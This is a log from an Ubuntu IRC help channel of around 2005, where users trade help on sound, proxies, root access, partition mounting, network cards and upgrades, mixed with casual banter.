[10:44] <Madpilot> Belutz: don't think so, was just wondering what a beer-mug-logo'd distro might be called! ;)
[10:44] <Belutz> omp342: what's the reason?
[10:44] <geneo93> using mucsled server
[10:44] <Belutz> Madpilot: ic ... hahaha... the "Beernix" sounds cool enough :D
[10:45] <Firetech> geneo93: KDE is Qt based, so is Opera, that's why I thought it was strange that Opera complained about KDE running.
[10:45] <Belutz> or Beertu which is a custom distro of ubuntu.... lol
[10:45] <omp342> HOLY.....!!
[10:45] <omp342> http://beernix.berlios.de/
[10:45] <omp342> it's an actual distro
[10:45] <omp342> and tux holds a beer mug
[10:45] <Belutz> wew
[10:46] <omp342> it's a modified knoppix :)
[10:46] <geneo93> Firetech:  i have never used opera and really dont care to try
[10:46] <Belutz> Why name it BEERnix?
[10:46] <Belutz> Because I like Beer. In fact, i can promise almost all work done on BEERnix was done with a beer in hand. Plus a long time ago when I first saw linux (debian in this case) the kernel boot image had the penguin with a beer in hand, i loved it. Plus, as the logo says, "You don't buy beer, you rent it" BEERnix is free (you don't buy it) and it runs off a cd (your computer rents it) ...yeah..so..its BEERnix :)
[10:46] <omp342> runs off a cd
[10:46] <Belutz> sorry for pasting :D
[10:46] <Madpilot> omp342: cool...
[10:47] <geneo93> i do know that qt 3.3.5 has a few problems with some stuff i use
[10:48] <Madpilot> Firetech: never had anything like that w/ Opera under Ubuntu & Gnome... odd
[10:48] <omp342> lol
[10:48] <omp342> i harness the power of google :P
[10:48] <Firetech> Madpilot: it's running, just saying that KDE might steal it's shortcuts like ctrl+F8
[10:48] <geneo93> Madpilot:  he said kde
[10:48] <omp342> that's how i found that site
[10:50] <Madpilot> geneo93: I know - but gnome has it's own keyboard shortcuts too, and I've never had Opera complain...
[10:50] <_BIJ_> hi@all
[10:50] <Xanthus7> how do you search for a program in apt-get
[10:50] <godzzo> Hi!
[10:50] <omp342> i'll brb
[10:50] <godzzo> I trty to play with quake2, but it hasn't got sound :( I can play with Quake3+sound (i have to kill esd)... My user is member the audio group, and I can echo to /dev/dsp. Can anybody help me?
[10:50] <Belutz> speaking of that... anyone has use aptitude using gnome-terminal? how do i access the F10 for menu? if i push the F10 button it always open the File menu
[10:50] <aftertaf> godzzo:  i heard esp is not good...use arts instead
[10:50] <holycow> http://bash.org/?525439  <-- open office makes it onto bash
[10:50] <holycow> *sniff*
[10:50] <holycow> a right of passage
[10:50] <holycow> >_>
[10:51] <geneo93> Madpilot:  we had the same with ff on beos a while back
[10:51] <godzzo> aftertaf: ok I willt try, thnx
[10:51] <omp342> i HATE charter's cable internet
[10:51] <omp342> it's horrible!
[10:51] <godzzo> But I think it have to work with ALSA or OSS.
[10:51] <Xanthus7> Adelphia is worest
[10:51] <jo_e> i have problems with sound.  i am using esd and cannot get any other systems to work in the "multimedia system selection" dialogue.  the "testing" in said dialogue works, as do the system sounds (like the "*bink*" when selecting a menu item), but when i try to play an mp3 in xmms or anything with sound in mplayer, they both hang.
[10:51] <jdub> Xanthus7: apt-cache search <terms>
[10:51] <Belutz> artsd is using alsa if i'm not mistaken
[10:52] <Belutz> !tell jo_e about sound
[10:52] <aftertaf> jtan325:  i cant figure out how to use it
[10:52] <Cdump> anybody can help ??
[10:53] <godzzo> jo_e: xmms can use esd, you should set in preference
[10:53] <holycow> aftertaf, relative to what?
[10:53] <jtan325> aftertaf, what's wrong?
[10:53] <_BIJ_> geneo93, i'm back *g*
[10:53] <jtan325> does it not appear on your root window?
[10:53] <holycow> one could easily manage to make you a zen master with that statement afterall :)
[10:53] <Madpilot> Firetech: does Opera loose some shortcuts? Ctrl+F8 is "refocus to address bar" - does it work? (Ctrl+B for Keyboard Shortcuts help, btw)
[10:53] <aftertaf> jtan325:  running it in Eterm
[10:53] <geneo93> jo_e:  you need gstreamer08-mad
[10:53] <Cdump> trying to install opera .. and got an error  .. dpkg-deb (subprocess): short read in buffer_copy (failed to write to pipe in copy)
[10:54] <jtan325> aftertaf, ok
[10:54] <aftertaf> holycow:  hehe :)
[10:54] <jtan325> does it print an error message?
[10:54] <aftertaf> nope
[10:54] <jtan325> does it display anything?
[10:54] <aftertaf> nope
[10:54] <jtan325> hmmm
[10:54] <geneo93> blj how did it go
[10:54] <jtan325> aftertaf, so it just seems to hang or something?
[10:54] <Firetech> Madpilot: seems to work... Just paranoia, or something like that ;)
[10:54] <Madpilot> Cdump: bad download?
[10:55] <aftertaf> drawing to single buffer/root window and terminal waits
[10:55] <Cdump> Madpilot : Is it ? dunno ..
[10:55] <Madpilot> Firetech: does Opera complain every time you start it, then?
[10:55] <godzzo> jo_e: "mplayer -ao sdl: " can use esd
[10:55] <aftertaf> Madpilot:  opera = lazyware?
[10:56] <Madpilot> Cdump: https://wiki.ubuntu.com/OperaBrowser <-- help for Opera on Ubuntu
[10:56] <aftertaf> complains, as in.. Oh, what now???? i'm sat counting processor cycles, leave me alone!
[10:56] <jtan325> aftertaf, there's absolutely nothing underneath all your windows?
[10:56] <jtan325> what window manger are you using?
[10:56] <aftertaf> kubuntu....
[10:56] <aftertaf> hence, no idea.
[10:56] <geneo93> well it 3 minutes to 5 here bed time cyas
[10:56] <aftertaf> lol... 11am
[10:57] <geneo93> 5am
[10:57] <jtan325> hmmm aftertaf i have to go now, but i'd like to help. hopefully i'll talk to you tomorrow
[10:57] <aftertaf> jtan325:  then i ran it with &, and the process is still there...
[10:57] <aftertaf> ok...
[10:57] <jtan325> aftertaf, there are people in #conky that will try to help too
[10:58] <jtan325> (other devs and stuff)
[10:58] <aftertaf> ok:)
[10:58] <Madpilot> yeah, nearly 0200 here - bed, sleep, etc... later, everyone
[10:58] <geneo93> i have to reconnect before i sleep
[10:58] <jo_e> aplay -l gives card 0: SI7012 [SiS SI7012] , device 0: Intel ICH [SiS SI7012] 
[10:59] <Firetech> Madpilot: There was a checkbox in the message... ("Don't show this message again") So no, it doesn't
[10:59] <jo_e> mplayer -ao sdl: gives [AO SDL]  using  audio driver.
[10:59] <jo_e> [AO SDL]  Unable to open audio: No available audio device
[10:59] <jo_e> Could not open/initialize audio device -> no sound.
[10:59] <jo_e> Audio: no sound
[11:01] <Chameleon22> ignore this
[11:06] <aftertaf> does anyone know if it is possible to connect to a pop server when you have to pass thru a http proxy?
[11:07] <omp342> boo
[11:07] <aftertaf> lucky xchat can irc thru a proxy!
[11:09] <omp342> who uses xchat :P
[11:09] <omp342> its xchat2 :)
[11:09] <_BIJ_> hi, how can i create a root account in order to be able to type into the console "su"
[11:09] <_BIJ_> and log in as root
[11:09] <_BIJ_> ???
[11:10] <Belutz> !root
[11:10] <ubotu> root is probably disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[11:10] <omp342> _BIJ_: can't you just do sudo?
[11:10] <aftertaf> omp342:  2.4.3
[11:10] <_BIJ_> i do not want to sudo... i'm used to the su command
[11:10] <aftertaf> ok.
[11:10] <Belutz> _BIJ_: use su -i
[11:10] <aftertaf> then check the link ubotu gave you
[11:11] <omp342> _BIJ_: oh well, i can't help you since i don't even use ubuntu
[11:11] <omp342> aftertaf: i have xchat 2.4.3 too :)
[11:11] <_BIJ_> oki np... thx
[11:12] <chibifs> _BIJ_ sudo to an xterm. It's the same.
[11:12] <omp342> aftertaf: actually i'm wrong, it's not xchat2, it's xchat-2 :)
[11:12] <wiechu> _BIJ_: u can become rot typing "sudo su" in console
[11:12] <wiechu> root i mean
[11:12] <_BIJ_> ah ok!
[11:12] <nalioth> aftertaf: why shouldnt it be possible?
[11:12] <_BIJ_> right it works! tHX!
[11:13] <nalioth> your system can rot by typing "sudo su" in console  (you had it right the first time)
[11:14] <_BIJ_> do you guys also know how to automount windows partitions?
[11:14] <Belutz> !windowsdrive
[11:14] <ubotu> Belutz: No idea
[11:14] <Belutz> !ntfs
[11:14] <ubotu> ntfs is probably the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.
[11:15] <holycow> http://bash.org/?150543  <- heh
[11:15] <Belutz> _BIJ_: go to what ubotu just told you :)
[11:15] <kemik> holycow:  heh, that was rather funny ,)
[11:16] <omp342> argh
[11:17] <_BIJ_> muchos gracias!
[11:17] <omp342> i HATEEEEEEEE charter
[11:17] <omp342> for the last 20 minutes
[11:17] <omp342> every few minutes
[11:17] <omp342> i lose connection for like anywhere from 5-100 seconds
[11:20] <aftertaf> nalioth:  you mean for mail thru proxy????
[11:20] <aftertaf> my question? well i can't do it, basically.....
[11:21] <Xof> hi.  We're having difficulty getting Ubuntu to work on a recently-bought dual G5.
[11:21] <Xof> Our latest attempt (using breezy colony 2, the live cd) got us a shell prompt, but X segfaulted and the ethernet card wasn't detected
[11:21] <aftertaf> my browser can connect via proxy, it has that option. my xchat-2.4.3 too.... but i've never found a mail client that lets you specify 'conect via proxy'
[11:22] <Belutz> aftertaf: i think thunderbird has that option
[11:22] <Xof> (and it complained several times about failing to modprobe a particular module: s??2)
[11:22] <deufo__> hi peeps, for some reason in screensaver when i unlock the screen a type in the password, the password field shows some weird rectangles
[11:22] <Xof> are we blazing unknown territory here, or is Ubuntu on G5s meant to "just work"?
[11:23] <Belutz> aftertaf: in thunderbird it's in edit-->preferences-->advanced-->connection
[11:23] <kemik> http://bash.org/?96164
[11:25] <nalioth> aftertaf: why not?
[11:25] <holycow> kemik, irc rocks :)
[11:26] <kemik> yah
[11:26] <aftertaf> Belutz:  nalioth erf!!!!!
[11:26] <omp342> bye guys
[11:26] <aftertaf> night...
[11:26] <aftertaf> or morning ;)
[11:26] <omp342> its 2:30am :)
[11:26] <aftertaf> soon midday here
[11:27] <omp342> oh
[11:27] <omp342> where are you?
[11:27] <omp342> i'm in los angeles, california
[11:28] <aftertaf> france, yooorope
[11:29] <cafuego> dinner time, you silly moos.
[11:30] <cafuego> syn-ack: U28sIG5vdyB5b3UncmUgbGlrZSB1bHRyYS1zZWN1cmU/
[11:30] <syn-ack> heheh, aftertaf you catch that one?
[11:31] <aftertaf> nope, ive set +CE :)
[11:32] <Belutz> aftertaf: you're in france? :D
[11:32] <syn-ack> wow, you totally missed taht/
[11:32] <aftertaf> nalioth:  Belutz :  I've set the proxy server... but still get failed to connect to pop server...
[11:33] <Belutz> aftertaf: does the proxy server allow the pop thingy ?
[11:33] <cafuego> pop proxy?
[11:33] <TommyH> How can I switch from one audio output device to another in Hoary? I've plugged in a USB headset, which is recognized, but I can't find a way of switching output from internal speakers to the headset. :-/
[11:33] <aftertaf> Belutz:  yep..... france,  nope... proxy
[11:33] <cafuego> that's crazy talk!
[11:33] <aftertaf> only http on port 8090
[11:33] <aftertaf> :/
[11:33] <nalioth> aftertaf: have a nap
[11:33] <nalioth> aftertaf: sleep on it
[11:33] <aftertaf> TommyH:  try using the mixer
[11:34] <Belutz> aftertaf: nice country... :) , maybe you should ask the IT staff? :D
[11:34] <aftertaf> hehe
[11:34] <aftertaf> i am the IT staff ;)
[11:34] <Belutz> aftertaf: ic... so you can't ask yourself hehehe :D
[11:34] <aftertaf> but we have a regional proxy for the europe zone
[11:34] <aftertaf> managed in holland :/
[11:34] <cafuego> aftertaf: really?
[11:34] <Belutz> is there an error message?
[11:34] <TommyH> aftertaf: where can I find that?
[11:35] <onlinebacon> hi
[11:35] <aftertaf> maybe force a ssh tunnel
[11:35] <aftertaf> sounds good, dontknow how :)
[11:35] <onlinebacon> how is everyone?
[11:35] <aftertaf> TommyH:  add the sound mixer applet to a panel ;)
[11:36] <TommyH> aftertaf: ah, right... thanks :o)
[11:36] <aftertaf> cafuego:  yup... AT&T central !!! grrrrrrrrr
[11:36] <onlinebacon> how could i upgrade 5.4 to say, 6 when it comes out?
[11:36] <aftertaf> !upgrade
[11:36] <ubotu> One-line upgrade: sudo sed -e 's/warty/hoary/' -i /etc/apt/sources.list && sudo apt-get update && sudo apt-get dist-upgrade
[11:36] <aftertaf> will be updated i imagine ;)
[11:36] <Belutz> upgrading is just like that??
[11:36] <aftertaf> ubotu's help line, i mean ;)
[11:36] <onlinebacon> cool, thanks
[11:37] <nalioth> aftertaf: ssh tunneling is great fun
[11:37] <aftertaf> nalioth:  :) :) :) :)
[11:37] <aftertaf> sounds like it ;)
[11:37] <nalioth> aftertaf: i do it all the time
[11:37] <aftertaf> ut i need a nux box running the same prog on the other side :/
[11:37] <aftertaf> and i am a relative n00b
[11:38] <nalioth> aftertaf: not really
[11:38] <nalioth> aftertaf: just a *nix box running a ssh server
[11:38] <aftertaf> ahaaaaaaaa.... revelation time ??
[11:38] <aftertaf> i'm all ears dude ;)
[11:38] <TommyH> aftertaf: hmmm... there's no mixer in the "Add to Panel" list :|
[11:39] <nalioth> aftertaf: your other box needs to have *nix, a ssh-server and an account you can log into
[11:39] <aftertaf> nalioth:  what's the procedure???
[11:39] <aftertaf> oki.
[11:39] <nalioth> aftertaf: then go ask uncle google "ssh tunneling"
[11:39] <Belutz> TommyH: the volume control applet?
[11:39] <aftertaf> TommyH:  Add To Panel > Applet > Sound mixer
[11:39] <aftertaf> maybe need an extra package apt-getting
[11:40] <nalioth_zZz> night
[11:40] <Belutz> night nalioth_zZz
[11:40] <aftertaf> cheers nalioth_zZz ;)
[11:41] <herrpoon_united> hi, could someone hep me, i cant ssh or vnc into my ubuntu box
[11:41] <herrpoon_united> even though i could do about 5 mins ago!
[11:41] <Belutz> herrpoon_united: maybe it's the firewall?
[11:41] <herrpoon_united> well i did forward some ports in my router
[11:41] <herrpoon_united> for it
[11:42] <herrpoon_united> but then chnaged them back
[11:42] <herrpoon_united> to excalty what they were when it worked
[11:42] <Belutz> herrpoon_united: hmmm no idea then, sorry :(
[11:42] <herrpoon_united> nps, thanks anway
[11:43] <aftertaf> have you reset your firewall correctly?
[11:44] <herrpoon_united> maybe not
[11:44] <herrpoon_united> i might try resetting the router
[11:44] <jo_e> do you need to reset your router every time you change port forwarding?
[11:44] <herrpoon_united> yes
[11:44] <herrpoon_united> as far as im aware
[11:44] <herrpoon_united> i didnt
[11:45] <herrpoon_united> reset after i made the changes back i suppose
[11:45] <herrpoon_united> but i dont think theyll make any difference anyway
[11:45] <jo_e> that could explain some of my problems, too...
[11:45] <herrpoon_united> yeh
[11:45] <herrpoon_united> must be i suppose
[11:45] <aftertaf> you guys on the same network?
[11:45] <aftertaf> :)
[11:45] <herrpoon_united> nope
[11:45] <herrpoon_united> hehe
[11:45] <aftertaf> :p
[11:45] <jo_e> no, I am on my own.
[11:45] <jo_e> shitnet
[11:45] <aftertaf> jo_e:  inevitably, we all are ;)
[11:46] <herrpoon_united> true
[11:46] <aftertaf> lol
[11:46] <herrpoon_united> whats this ubuntu-unregged?
[11:46] <herrpoon_united> lol
[11:46] <aftertaf> herrpoon_united:  for banter, jest and non HELP ME IM STUCK related stuff ;)
[11:46] <herrpoon_united> ahh right
[11:46] <herrpoon_united> i was getting unsoliicted
[11:46] <herrpoon_united> private msgs from that channel
[11:47] <herrpoon_united> from bots
[11:47] <aftertaf> bots & stuff!
[11:47] <herrpoon_united> yarggh
[11:47] <aftertaf> nope!!!!!!!!
[11:47] <aftertaf> me wrong totally
[11:47] <herrpoon_united> que?
[11:47] <Juhaz> herrpoon_united, the spambots are being redirected there so they wouldnt be here
[11:47] <aftertaf> unregged is an airlock for getting in here
[11:47] <aftertaf> a bottrap
[11:47] <herrpoon_united> ahh right
[11:47] <herrpoon_united> so if ur chatting in there
[11:47] <aftertaf> -offtopic is the banter thingy
[11:47] <TommyH> aftertaf: I can't see any applet submenu/choice in the Add to Panel window... I must be doing something wrong :-/
[11:47] <herrpoon_united> uve just got to put up with it?
[11:48] <aftertaf> Tomcat_:  what options do you have when you right click the kicker task panel thingy
[11:48] <Juhaz> why would anyone be chatting in a honeypot is beyond me, but you can set umode that prevents messages from non-identified users, or just ignore privmsgs
[11:48] <aftertaf> herrpoon_united:  its not destined for chat.. just a place to reg in order to get here
[11:48] <herrpoon_united> suppose so
[11:48] <aftertaf> er TommyH i meant ;)
[11:49] <aftertaf> TommyH:  i'm using KDE..... you gnome?
[11:49] <TommyH> yeah, Gnome
[11:49] <aftertaf> i'm the one doing wrong...
[11:49] <aftertaf> bad advice :/
[11:50] <TommyH> np ;-)
[11:51] <aftertaf> run this command in a console, and install one of the babies that looks good for you
[11:51] <aftertaf> apt-cache search mixer gnome
[11:51] <Belutz> TommyH: try using the volume control applet, after that double click the applet, and then file-->change device ?
[11:52] <aftertaf> i guess its the 'line' or 'phone' channel that needs unmuting
[11:52] <shinu> is there any other server similar to apache supporting php?
[11:52] <kent> shinu, why not use apache?
[11:52] <Tomcat_> shinu: Most servers support php...
[11:52] <shinu> kent: i dont know... maybe something lighter? just to try out :)
[11:53] <daeb> Hello
[11:53] <TommyH> Belutz:  yeah, that's what I was looking for, but it's not changing anything :|
[11:53] <shinu> Tomcat_: like?.. something less known and lighter if you know of any
[11:53] <Belutz> hmmm
[11:53] <kent> shinu, http://www.roxen.com/products/webserver/
[11:53] <TommyH> It seems to be just for changing the volume of devices, not switching output between them.
[11:54] <shinu> cool
[11:54] <shinu> kent: thanks a lot. ill have a look
[11:54] <Belutz> TommyH: try using "alsamixer" in terminal and turn on the phone ?
[11:55] <aftertaf> or apt-get install aumix-gtk
[11:55] <Belutz> TommyH: hmmm if it don't work either, i dont know what else to suggest, i'm still a noob also :D
[11:55] <aftertaf> TommyH:  dunno if it CAN do that, actually...
[11:56] <Belutz> hahaha
[11:57] <aftertaf> yeah :)   actually, time to eat..... brb guys ;)
[11:57] <Belutz> aftertaf: mind if you feed us too? :D
[11:59] <TommyH> gah, none of that works... guess I'll leave them plugged into my Mac and make do with these internal speakers... thanks for the help anyway guys :o)
[12:00] <Belutz> :)
[12:01] <candlelight> hi, if i install linux one hda, windows on raid0 (sda,sdb), how to configure bootloader to load windows?
[12:02] <daeb> candlelight Priority in bios
[12:02] <ilba7r> candlelight you can set that up during the installation
[12:02] <candlelight> daeb, i can switch the priority, doesn't matter
[12:03] <messju> recently after a reboot i get 00:00:00:00:00:00 as HWaddr on eth0. how can I fix that permanently?
[12:03] <candlelight> ilba7r, my raid0 is actually bios assisted, sil3112
[12:03] <frans-th> anyone have try install gigabit in ubuntu? sucfcess??
[12:03] <ilba7r> ok
[12:03] <messju> eth0 is sk98lin
[12:05] <xquizit> Hey guys. I am trying to install VMware5 on Breezy. but there is a problem with GCC it wasnt 3.4 which I have installed but it still does not work.
[12:05] <ompaul> Seveas, can you set that bot you had in #ubuntu-unregged again - there are some peeps in there who need clues how to get to here
[12:05] <wiechu> is there any multitab terminal in ubuntu which doesn't look like it was 10 yeahrs old?
[12:05] <candlelight> i'm trying to figure out if i set bios to boot from /hda, how to use the bootloader to boot into the raid array
[12:05] <ekimus> is there some init script guide for ubuntu available (which functions one should use by default - besides start/stop/restart etc.)
[12:06] <ekimus> wiechu: gnome-terminal?
[12:06] <ekimus> !init
[12:06] <ubotu> Wish i knew, ekimus
[12:06] <Seveas> wiechu, gnome-terminal
[12:06] <ekimus> !runlevels
[12:06] <ubotu> ekimus: Do they come in packets of five?
[12:06] <Seveas> ekimus, look at lsb documentation about initscripts
[12:06] <Seveas> or man init
[12:06] <wiechu> does gnome-terminal supports multiple tabs??
[12:07] <Seveas> wiechu, yes
[12:07] <ekimus> Seveas: just wanted to know about ubuntu specific stuff
[12:07] <wiechu> ok sorry! really stupied question1 :)
[12:07] <Seveas> there's no real ubuntu specific stuff, ubuntu adheres to LSB init where possible
[12:07] <joj> can somebody tell me where I can download KPPP for ubuntu?
[12:08] <Seveas> sudo aptitude install kppp
[12:08] <joj> Seveas: can KPPP work on GNOME ?
[12:08] <jtan325> Seveas, there was a major spamming problem earlier today
[12:08] <jtan325> nalioth was pulling his hair out over it
[12:09] <jtan325> i dunno, just letting you know
[12:09] <joj> Seveas: can KPPP work on GNOME ?
[12:09] <ekimus> joj: yes it does
[12:10] <joj> cool
[12:10] <joj> ekimus: can I install KPPP when I am offline with aptitude install kppp?
[12:11] <joj> can I install KPPP when I am offline with aptitude install kppp?
[12:11] <daeb> is there site for Ubuntu as RPMfind or smthg like this ?
[12:12] <Digis> daeb there is no need fot RPMfind, U can find everythin in synaptic
[12:12] <catfox> daeb, packages.ubuntu.com
[12:12] <joj> pls tell me: can I install KPPP when I am offline with aptitude install kppp?
[12:13] <catfox> joj, if you have all the needed packages, you should be able to. i think it's in kdenetwork
[12:13] <catfox> joj,  why not just use the default networking tool in ubuntu?
[12:13] <daeb> Digis : even 5250 telnets or some specifics apps ?
[12:13] <joj> catfox: wvdial?
[12:14] <messju> what may have ubuntu make my MAC-address change to 00:00:00:00:00:00 ?
[12:14] <ekimus> messju: from what command do you get that message?
[12:14] <messju> ekimus: ifconfig
[12:14] <daeb> messju it isn't IPv6 ? ha
[12:14] <catfox> joj, i think it uses wvdial in the backend yeah. i'm not on an ubuntu system right now, but it's in the system menu
[12:14] <Digis> daeb what U will find at packages.ubuntu.com, the same U will find in synaptic
[12:15] <frans-th> alo..
[12:15] <messju> eth0      Link encap:Ethernet  HWaddr 00:00:00:00:00:00\n inet addr:192.168.4.31  Bcast:192.168.4.255  Mask:255.255.255.0
[12:15] <messju> no, it isn't ipv6
[12:15] <frans-th> anyone can help me to know, how to setup gigabit ethernet in hoary
[12:15] <Belutz> hai frans-th :)
[12:15] <ekimus> messju: you can change the mac with ifconfig <device> eth <mac address> have a look at the init scripts if there's something strange
[12:15] <joj> catfox: when I try wvdial I can hear my modem but later it says: No dial tone.
[12:15] <catfox> joj, try it with the gui, not the command
[12:16] <ekimus> messju: or maybe some sniffing tool that set it to promicious mode _and_ changed the mac (for some reason)
[12:16] <joj> catfox: HOW TO DO THAT?
[12:16] <catfox> joj, i already told you. it's in the system menu
[12:16] <ompaul> when you find that the reason the last CD failed is because you did not do this -->> sudo cdrecord -pad -eject -speed=8 dev=/dev/hdd  ubuntu-5.04-install-i386.iso <<-- you don't know if you should laugh or cry!
[12:16] <ekimus> joj: no reason to yell :)
[12:16] <joj> ekimus: i'm exited
[12:17] <messju> i will check. thanks
[12:17] <joj> catfox: i think it's not
[12:17] <joj> in system menu
[12:17] <ekimus> joj: since you are still here. i think you are ex_c_ited ;)
[12:17] <ekimus> not exited
[12:17] <catfox> can someone on an ubuntu box tell joj where the networking tool is under the system menu
[12:17] <joj> ekimus: what?
[12:19] <frans-th> hi belutz
[12:19] <messju> ok. setting HWAddr with ifconfig works, if the interface is down
[12:19] <joj>  can someone on an ubuntu box tell me where the networking tool is under the system menu
[12:19] <joj> ??
[12:19] <Belutz> frans-th: how's the gforge?
[12:20] <jo_e> you mean gnome-nettool?
[12:20] <joj> jo_e - i mean something with wvdial GUI
[12:20] <frans-th> Belutz: sad, still cannot install
[12:23] <Belutz> frans-th: what's ristek want with gforge?
[12:23] <ritalin> hi
[12:23] <ritalin> when 2.12 is out will there be a update?
[12:23] <ritalin> maybe a beta test?
[12:25] <frans-th> Belutz: to endorese open source movement
[12:27] <Belutz> frans-th: ic
[12:27] <Belutz> frans-th: the problem is i still don't know how to setup the ldap
[12:28] <frans-th> Belutz: dont use ldap :)
[12:29] <Belutz> frans-th: but it's depedency right?
[12:29] <selinium> Hi all, I have my old dual boot drivewith both M$ and Ubuntu on it. I have a new smaller drive with my current config. What i wanted to do was format the old larger drive and just copy the new drive over to the old one. Is this possible?
[12:30] <frans-th> Belutz: optional
[12:30] <Belutz> frans-th: ic
[12:30] <Belutz> frans-th: maybe i'll try installing it from source
[12:31] <frans-th> Belutz: ask kikov for source installation
[12:31] <Belutz> frans-th: ok
[12:32] <Belutz> frans-th: why use gforge instead of sourceforge?
[12:33] <frans-th> belutz: because source forge team did a bad step, they close their project, and make it commercial, thanks to tim purdue,
[12:33] <Belutz> frans-th: ic
[12:34] <qt2> might someone enlighten me as to what a "bad file descriptor is?
[12:35] <mickfuz> hi there - i'm working in a cafe running ubuntu and we are having problems playing cd's with gnome-cd
[12:35] <mickfuz> there is a "drive error" when trying it as guest
[12:36] <podge> Has anyone here updated to Breezy using apt-get? Any problems?
[12:36] <podge> mickfuz, Did you add the guest user to the audio group?
[12:36] <bimberi> mickfuz: is guest a member of the "audio" group?
[12:37] <mickfuz> yes i did do that
[12:37] <selinium> mickfuz: in a terminal using the guest account. type groups.  is audio and cdrom
[12:37] <mickfuz> we can play in xmms ok
[12:37] <mickfuz> ok
[12:37] <podge> selinium: correct.. cdrom group as well.. :)
[12:37] <mickfuz> no
[12:37] <mickfuz> so that's a good start i'll do that
[12:38] <selinium> podge: cheers! I am glad i am getting the hang of all this!
[12:38] <selinium> lol
[12:38] <ookii> hey does anyone know if you can foward multiple ports in two lines in ip tables, or does every port fowarded require it's own two lines?
[12:38] <podge> selinium, Have you tried out Breezy yet?
[12:39] <mickfuz> ok now it is playing in cdrom - but no audio
[12:39] <selinium> podge: not yet. I am still learnign the ropes somewhat. If i had a separate machine i would.
[12:40] <podge> selinium, I tried the live CD.. works much better on my laptop..
[12:40] <podge> mickfuz, volume settings?
[12:40] <mickfuz> the volume mixer is up
[12:40] <mickfuz> and xmms works ok
[12:41] <selinium> podge: I am running an old athlon 900, i think breezy may be a bit slow :)
[12:41] <bimberi> mickfuz: double-click on the volume control applet and check the settings (including both mixers via file -> change device)
[12:41] <mickfuz> k
[12:42] <bimberi> selinium: how much ram?
[12:42] <[DF2] > hi all
[12:42] <podge> selinium, What are you running at the moment?
[12:42] <mickfuz> i have a LOT of mixers there!
[12:43] <[DF2] > just installed umbutu on my laptop and need some help setting up the adsl on it
[12:43] <mickfuz> i'm running xmms and when i alter the emicro mixer volume there it chages
[12:43] <[DF2] > can anyon ehlp me
[12:43] <bimberi> mickfuz: oh, ok, i have 2 :)
[12:43] <Seveas> !adsl
[12:43] <ubotu> I guess adsl is Setting up an ADSL PPPoE Connection? https://wiki.ubuntu.com/ADSLPPPoE
[12:44] <[DF2] > yeah thx
[12:44] <mickfuz> i've got 4 mixers :{
[12:44] <[DF2] > i'll take a look
[12:44] <glyn> anyone know what packages it takes to get Mp3 support?
[12:44] <Seveas> !mp3
[12:44] <ubotu> mp3 is probably read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[12:46] <podge> selinium, I mean.. What Linux distro are you running now?
[12:47] <Seveas> I hate people named wayne...
[12:47] <bimberi> :)
[12:47] <Seveas> especially if the spread backdoors
[12:48] <podge> bimberi, My cdplayer (the default Ubuntu one) requires esd to be running.. otherwise no play..
[12:48] <podge> Seveas, Wayne Kerr? :)
[12:48] <Seveas> yeah
[12:48] <bimberi> :)
[12:50] <[DF2] > ubunto.. doesnt seem to be working for me..
[12:50] <[DF2] > i have a usb adsl modem
[12:50] <[DF2] > found eth0
[12:52] <ilba7r> !apm
[12:52] <ubotu> ilba7r: I give up, what is it?
[12:52] <ilba7r> !info apm
[12:55] <selinium> podge: ubuntu hoary
[12:55] <Wilf> is it true that the beta versions of ubuntu had pr0n in it?
[12:55] <Ng> only if you definition of pr0n is excruciatingly narrow
[12:56] <Wilf> hmm.
[12:56] <Seveas> Wilf, that is not true.
[12:56] <Wilf> fair enough.
[12:56] <podge> selinium, It would run Breezy no worries..
[12:56] <Seveas> the original artwork for warty was not totally appropriate for eork environments rhough
[12:57] <bimberi> The warty CD cover and gnome boot screen were a bit contraversial
[12:57] <selinium> Hi Seveas.
[12:57] <Wilf> ah, i've been told stories of it
[12:57] <Seveas> Wilf, do you have Ubuntu installed?
[12:57] <Wilf> yep.
[12:57] <Wilf> hoary though
[12:57] <Seveas> install the packages ubuntu-calendar-october, ubuntu-calendar-november etc (up to march) and see for yourself
[12:58] <Wilf> um, i'll be right
[12:58] <Wilf> thanks anyway
[12:58] <Seveas> hi selinium
[12:58] <selinium> Hi all, i have annother drive i wish to copy my present install to. Is it possible? ie  cp -fra /mnt/old /mnt/new
[12:59] <selinium> Seveas: good cc meeting?
[12:59] <Seveas> if you do it from a live cd (ie: no /proc or /dev mounted in /mnt/old) that should be feasible
[12:59] <selinium> podge: cheers
[12:59] <Seveas> selinium, yeah
[12:59] <Seveas> there will be a few changes in #ubuntu
[01:00] <selinium> Seveas: Can you enlighten us at this stage?
[01:00] <podge> Seveas, Does cp handle "holey" files?
[01:00] <jo_e> is there no apt package for OSS?
[01:00] <Seveas> selinium, well, there will be more ops (nalioth, apokryphos, thoreauputic) and there will be an ubuntu group
[01:00] <ompaul> podge: what do you mean by holey files?
[01:01] <selinium> Cool
[01:01] <Seveas> cp should handle symlinks/sockets fine
[01:01] <Seveas> and other holy files (device nodes) should not be there
[01:01] <selinium> Seveas: Would it be better to do a dd if=/mnt/old of=/mnt/new  ?
[01:02] <podge> ompaul, Files that are largely empty like DB hash files etc..
[01:02] <Seveas> that's equally icky
[01:03] <ompaul> podge: it can
[01:03] <selinium> Seveas: how would you move your system onto a new hd without installing from scratch?
[01:04] <qt2> wine is a pain in the ass on ubuntu it seems
[01:05] <podge> ompaul, Cool..!
[01:05] <ompaul> qt2: the reason that wine exists is a pita :)
[01:05] <bimberi> s/ on ubuntu//
[01:05] <qt2> ompaul, pita?
[01:06] <ompaul> pain in the `arm`
[01:07] <selinium> ompaul: not so sure I want that pita bread with my kebab now!
[01:07] <ompaul> selinium: toasters for all :)
[01:07] <Belutz> selinium: you make me hungry :D
[01:08] <FrankyFourFinger> mmm pita
[01:08] <frans-th> hi all
[01:08] <frans-th> anyone have try sk98 gigabit ethernet
[01:08] <selinium> It is lunch time here. I still think the worst thing that happened to me as a programmer was being able to order pizza online. The end of the hunter-gatherer as we know it!  :D
[01:09] <frans-th> all: can help install marvel yukon gigabit ethernet
[01:10] <Belutz> selinium: can we just do "apt-get pizza" ? :p
[01:10] <selinium> Belutz: rofl
[01:10] <frans-th> pizza?
[01:10] <frans-th> what is that
